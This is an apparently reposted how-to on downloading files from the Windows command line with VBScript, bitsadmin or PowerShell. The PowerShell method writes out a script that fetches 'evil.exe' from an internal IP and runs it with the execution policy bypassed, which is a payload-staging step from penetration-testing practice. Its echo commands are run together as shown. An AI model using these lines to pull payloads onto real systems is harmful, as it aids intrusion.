windows command shell download file

来源:互联网 发布:小嶋阳菜毕业知乎 编辑:程序博客网 时间:2024/05/16 10:52

[Platform]: windows 2008 x64 standard

How to download a file with windows command shell ?

Method 1

Save the code to a file called “download.vbs”, and execute the following command:

C:\Users\Administrator\Desktop>cscript.exe download.vbs

Code Here:

' Set your settings                                 strFileURL = "http://path/to/file"                                              strHDLocation = "c:\path\local\file"                                                    ' Fetch the file                                    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")                                                     objXMLHTTP.open "GET", strFileURL, false                                                            objXMLHTTP.send()                           If objXMLHTTP.Status = 200 Then                 Set objADOStream = CreateObject("ADODB.Stream")                                                     objADOStream.Open                               objADOStream.Type = 1 'adTypeBinary                                                                 objADOStream.Write objXMLHTTP.ResponseBody                                                          objADOStream.Position = 0    'Set the stream position to the start                                  Set objFSO = Createobject("Scripting.FileSystemObject")                                             If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation                            Set objFSO = Nothing                            objADOStream.SaveToFile strHDLocation                                                               objADOStream.Close                              Set objADOStream = Nothing                      End if                                          Set objXMLHTTP = Nothing 
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > download.vbs

Method 2

C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair  /download /priority normal http://path/to/file c:\path\local\file 

Method 3

Download File with powershell.

echo $storageDir = $pwd > wget.ps1echo $webclient = New-Object System.Net.WebClient >> wget.ps1echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1echo $file = "new-exploit.exe" >> wget.ps1echo $webclient.DownloadFile($url, $file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

References

  1. http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
0 0
原创粉丝点击